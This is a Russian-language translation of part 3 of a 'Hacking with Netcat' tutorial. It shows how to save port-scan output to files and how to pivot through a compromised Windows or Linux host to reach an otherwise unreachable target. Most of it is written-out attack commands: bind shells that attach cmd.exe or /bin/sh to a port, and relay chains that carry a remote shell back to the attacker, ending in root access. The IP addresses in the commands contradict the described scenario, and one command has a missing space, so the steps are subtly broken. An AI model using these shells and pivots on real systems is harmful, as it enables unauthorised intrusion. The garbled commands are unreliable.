Network Performance Monitoring (NPM) and Diagnostics | Application Performance Monitoring (APM) | Application-Aware Network Performance Monitoring (AA NPM) | Network Fault Management | Information Security | Network Security

Обнаружены новые методы атаки на компьютеры через netcat, часть 3

Взлом с помощью Netcat, часть 3: расширенные методы

От Hacking Tutorials, 23 марта 2017 года

В третьей части учебника «Взлом с помощью Netcat» мы рассмотрим некоторые более продвинутые методы. Известно, что Netcat также называют швейцарским армейским ножом среди сетевых инструментов. Подобные сетевые инструменты должны уметь гораздо больше, чем просто создавать соединения для передачи необработанных данных и создания shell. Поэтому необходимо также рассмотреть и некоторые дополнительные функции. В этой части учебника вы узнаете, как направить выходные данные Netcat в файлы и приложения, и как с помощью Netcat работает сетевой pivoting. Также здесь будет рассмотрено несколько разных сценариев, в которых Netcat используется для pivot-соединений. Сетевые pivot-соединения полезно использовать, когда целевой хост находится в сети, недоступной напрямую из сети атакующего устройства. В этой ситуации можно скомпрометировать хост, который имеет доступ к обеим сетям, и установить pivot-соединения через этот хост. Скомпрометированный хост с доступом к обеим сетям называется pivot-точкой. Начнем с передачи выходных данных Netcat в файлы и приложения.

Если вы не читали части 1 и 2 серии статей о взломе с помощью Netcat, их можно найти здесь:

Вывод данных Netcat в файлы

Направим выходные данные при простом сканирования порта netcat в файл с именем output.txt. Обычно данные можно вывести в файл с помощью оператора > командной строки, за которым следует имя файла. Для Netcat это не сработает, потому что нам нужно направить в файл и stderr, и stdout. Это можно сделать с помощью следующей команды:

nc –vv –z localhost 1-100 > output.txt 2>&1

Вывод данных сканирования порта Netcat в файл

Вывод данных сканирования порта Netcat в файл

Данная команда выводит все результаты из сканируемого порта в файл output.txt. Для фильтрации вывода данных для открытых портов с использованием grep можно применить следующую команду:

nc –vv –z localhost 1-100 2>&1 | grep open > output.txt

Вывод данных netcat в файл с помощью grep

Вывод данных netcat в файл с помощью grep

Эта команда выводит в текстовый файл данные только по открытым портам. Давайте посмотрим, как можно вводить и выводить данные netcat в сетевые pivot-соединения.

Pivoting сети Windows с помощью Netcat

Предположим, у нас имеются две цели Windows, одно атакующее устройство и Kali Linux. Мы скомпрометировали хост 1 Windows с машины Kali Linux и хотим получить shell на хосте 2 Windows, доступ к которой будет возможен только с хоста 1 Windows. Нам нужно направить трафик с хоста Kali Linux на хост 1 Windows, а затем перенаправить его на хост 2 Windows. Выходные данные нужно отправлять обратно на хост 1 Windows, где они будут перенаправлены обратно на компьютер Kali Linux. Сбиты с толку? Чтобы лучше понять, давайте посмотрим на следующий рисунок:

Pivoting сети Windows с помощью Netcat

В виртуальной лаборатории мы сконфигурировали данный сценарий с двумя машинами Windows и одной машиной Kali Linux. В pivot-точке мы будем передавать команды из атакующего устройства на целевой хост. Выходные данные с целевого хоста будут перенаправлены обратно на атакующее устройство из pivot-точки. Давайте разберемся, какие команды Netcat необходимо использовать для каждой машины. Для соединений будем использовать порт 3333 и порт 4444.

  • Хост 1 Windows должен направлять входящий трафик с порта 3333 на порт 4444 хоста 2 Windows, а входной трафик с хоста 2 Windows должен направляться на выходной порт 2222 Kali Linux.
  • Хост 2 Windows должен прикреплять поступающие через порт 4444 команды к файлу CMD.exe и перенаправлять выходные данные обратно на порт 4444 хоста 1 Windows.
  • Kali Linux следует отправлять команды на хост 1 Windows 1 через порт 3333 и получать входные данные от хоста 1 Windows через порт 4444.

Учитывая эту информацию, необходимо на каждой машине в указанном порядке выполнить следующие команды.

  • Вход консоли Kali Linux: nc -lvp 3333
  • Выход консоль Kali Linux: nc -lvp 4444
  • Хост 2 Windows: nc -lvp 4444 -e cmd.exe
  • Хост 1 Windows: nc.exe 10.11.1.16 3333 | nc.exe10.11.1.198 4444 | nc.exe 10.11.1.16 2222

На следующем рисунке показаны соединения между атакующей машиной Kali Linux, pivot-точкой хоста 1 Windows и целевым хостом; хост 1 Windows.

соединения между атакующей машиной Kali Linux, pivot-точкой хоста 1 Windows и целевым хостом; хост 1 Windows.

Перенаправление трафика с помощью Netcat.

Команды, выдаваемые с терминала ввода на атакующем устройстве Kali Linux, выполняются через pivot-точку на хосте 2 Windows. Выходные данные хоста 2 Windows перенаправляются обратно на выходной терминал атакующего устройства. Единственной проблемой данной конфигурации является задержка выполнения команд и вывода. После ввода команды необходимо один или два раза нажать клавишу Enter, чтобы увидеть выходные данные, появляющийся в выходном терминале атакующего хоста.

Также существует более простая альтернатива, когда переключатель -e в netcat доступен на pivot-точке. В этом случае на атакующем хосте используется только один сеанс терминала. Посмотрим, как это работает, взглянув на следующее команды:

  • Атакующее устройство Kali Linux: nc -lvp 4444
  • Хост 2 Windows: nc -lvp 4444 -e cmd.exe
  • Хост 1 Windows – pivot-точка: nc -v 10.11.1.16 4444 -c "nc -v 10.11.1.198 4444"

Первые команды настраивают слушатель на атакующем устройстве, а вторая команда - на целевом хосте. Последняя команда открывает сеанс Netcat с атакующим устройством и использует новый сеанс Netcat для целевого хоста в качестве входящей программы. Обратите внимание, что и pivot-точка, и целевой хост используют на Netcat переключатель -e.

Перенаправление трафика с помощью Netcat.

Сетевой pivoting с Netcat в Windows.

Как видно на первом терминале, на целевом хосте имеется оболочка через pivot-точку. Эта конструкция также имеет задержку, поэтому для получения выходных данных с целевого хоста один или два раза нужно нажать клавишу Enter. Если вы знаете, как это исправить, пожалуйста, оставьте комментарий ниже!

Давайте посмотрим, сможем ли мы сделать то же самое на трех хостах Linux.

Pivoting сети Linux с помощью Natcat

В предложенном ниже сценарии имеется три хоста Linux:

  • 10.11.1.16 атакующее устройство, работающее в Kali Linux.
  • 10.11.1.250 – это pivot-точка.
  • 10.11.1.95 – это целевой хост.

На следующем рисунке показан сценарий с атакующим устройством, pivot-точкой и целевым хостом:

сценарий с атакующим устройством, pivot-точкой и целевым хостом

Мы будем использовать следующие команды на разных хостах в следующем порядке:

  • Атакующее устройство 10.11.1.18: nc -lvp 4444
  • Целевой хост 10.11.1.98: nc -lvp 4444 -e /bin/sh
  • Pivot-точка 10.11.1.250: nc -v 10.11.1.16 4444 -e "nc -v 10.11.1.96 4444"

Первая команда устанавливает слушатель на порт 4444 в атакующем устройстве Kali Linux. Вторая команда устанавливает слушатель на целевом хосте, также на порте 4444. Последняя команда выполняется на pivot-машине для подключения как к атакующему устройству, так и к целевому хосту через порт 4444.

На следующем скриншоте показаны различные терминалы с трех машин. Первый терминал – атакующее устройство, второй терминал - это pivot-точка, а последний - целевой хост:

Первый терминал – атакующее устройство, второй терминал - это pivot-точка, а последний - целевой хост

Сетевой pivoting с Netcat на Linux.

На терминале атакующего устройства мы ввели команды whoami и ifconfig. Выводом whoami является root, а ifconfig выводит информацию об IP для хоста 10.11.1.95. Эта настройка работает идеально, и позволяет управлять целевым хостом, находящимся в сети, которая не маршрутизируется из сети атакующего устройства по pivot-соединению через pivot-точку. Сначала этот сценарий может показаться немного запутанным, но не волнуйтесь. Потратьте некоторое время, чтобы понять и, возможно, попрактиковаться в этой ситуации. Это позволит лучше понять, что именно происходит.

Таким образом, мы изучили передачу выходных данных Netcat, например, результатов сканирования портов и подключений. Мы также научились использовать pivot-точки в Linux и Windows для изменения сетевых подключений. У вас есть еще идеи для продвинутых технологий и учебников Netcat? Пожалуйста, дайте нам знать, используя функцию комментариев, и мы добавим новые методы в этот учебник.

Комментарии
Тут пока ничего нет, но Вы можете быть первым!
Авторизуйтесь для этого
Рейтинг@Mail.ru © 2015 - 2022 NetworkGuru.ru Использование материалов сайта без согласования запрещено!
Заказать звонок

- Email
- Confirm
Имя *
Номер телефона *
E-mail *
Комментарий *
Согласие на отправку персональных данных *


* - Обязательное для заполнения